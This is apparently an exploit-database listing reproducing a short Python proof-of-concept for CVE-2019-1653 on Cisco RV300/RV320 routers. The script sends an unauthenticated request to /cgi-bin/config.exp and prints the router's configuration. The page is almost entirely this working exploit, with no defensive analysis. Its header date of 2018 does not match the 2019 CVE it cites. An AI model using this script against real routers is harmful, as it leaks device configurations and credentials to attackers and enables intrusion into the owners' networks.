发布 2019-01-28 漏洞条目

Cisco RV300 / RV320 – Information Disclosure

Exploit Source

# Exploit Title: 6coRV Exploit

# Date: 01-26-2018

# Exploit Author: Harom Ramos [Horus]

# Tested on: Cisco RV300/RV320

# CVE : CVE-2019-1653

import requests

from requests.packages.urllib3.exceptions import InsecureRequestWarning

from fake_useragent import UserAgent

def random_headers():

return dict({'user-agent': UserAgent().random})

def request(url):

r = requests.Session()

try:

get = r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False

if get.status_code == 200:

return get.text

except requests.ConnectionError:

return 'Error Conecting'

except requests.Timeout:

return 'Error Timeout'

except KeyboardInterrupt:

raise

except:

return 0

print("")

print("##################################################")

print("CISCO CVE-2019-1653 POC")

print("From H. with love")

print("")

url = raw_input("URL> EX:http://url:port/ ")

url = url + "/cgi-bin/config.exp"

print(request(url))

相关漏洞条目